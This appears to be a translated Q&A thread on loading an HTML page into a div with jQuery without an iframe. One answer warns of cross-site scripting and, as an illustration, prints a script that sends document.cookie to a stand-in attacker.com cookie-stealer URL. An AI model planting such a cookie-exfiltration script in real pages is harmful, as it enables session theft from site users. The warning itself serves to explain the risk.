3

我一直在尝试寻找一种方法来做到这一点,因为我确信有数百个网站在解释它,但我就是不能正确地用词,所以我所有的搜索都会产生其他东西。

所以我很抱歉,如果这已经被问过很多次了。

无论如何,我想做的是在 div 中加载页面“page.html”。该页面只有文本,没有其他内容。因此,我不想使用 iframe,而是将此页面加载到 div 中,以便它只显示该页面上的文本。

我尝试了一些在搜索过程中发现的不同的东西,比如;

$(document).ready(function() {    
    $("div").load("page.html") 
});

但是由于某种原因,该方法更改了页面上的所有文本,而不是在该 div 中。(我在编码方面非常糟糕,所以我可能在该方法的某个地方出错了)

因此,任何人都可以建议一种在不使用 iframe 的情况下在 div 中加载页面内容的方法。

4

3 回答 3

4

$('div')将比您正在寻找的目标更多。如果您尝试将内容加载到特定div元素中,请给它一个 ID 并以这种方式定位它。

<div id="pageContent"></div>

$(document).ready(function() { 
    $('#pageContent').load('page.html');
}
于 2012-06-30T05:07:35.980 回答
3
$("#mydiv").load("myexternalfile.html");

试试这个链接

http://api.jquery.com/load/

于 2012-06-30T05:27:04.550 回答
2

简短的回答:你不能。

长答案:可以,但会很困难,容易出错,并且存在很大的安全风险。

假设这是您想要嵌入另一个页面的页面:

<!DOCTYPE html public>
<html>
 <head>
  <title>My Page</title>
 </head>
 <body>
  <div id="embedMe"></div>
 </body>
</html>

然后,这是要嵌入第一个页面的代码:

<!DOCTYPE html public>
<html>
 <head>
  <title>My Embedded Page</title>
 </head>
 <body>
  <div id="content">
   Something interesting here...
  </div>
 </body>
</html>

然后,当它被嵌入时:

<!DOCTYPE html public>
<html>
 <head>
  <title>My Page</title>
 </head>
 <body>
  <div id="embedMe">
   <!DOCTYPE html public>
   <html>
    <head>
     <title>My Embedded Page</title>
    </head>
    <body>
     <div id="content">
      Something interesting here...
     </div>
    </body>
   </html>
  </div>
 </body>
</html>

你可以看到问题。你有两个html元素,两个heads,两个bodys,两个titles,甚至两个DOCTYPES。这是一个仁慈的例子。假设攻击者可以将要嵌入的页面的 url 更改为包含以下内容的页面:

<script type="text/javascript">
 window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie;
</script>

突然之间,你的用户抱怨他们的账户被黑了,责任就落在了你的持有人身上。这是一个简单的 XSS 示例,真正的攻击者可以更好地隐藏它。请只使用 iframe。这就是他们的目的。

于 2012-06-30T05:21:39.693 回答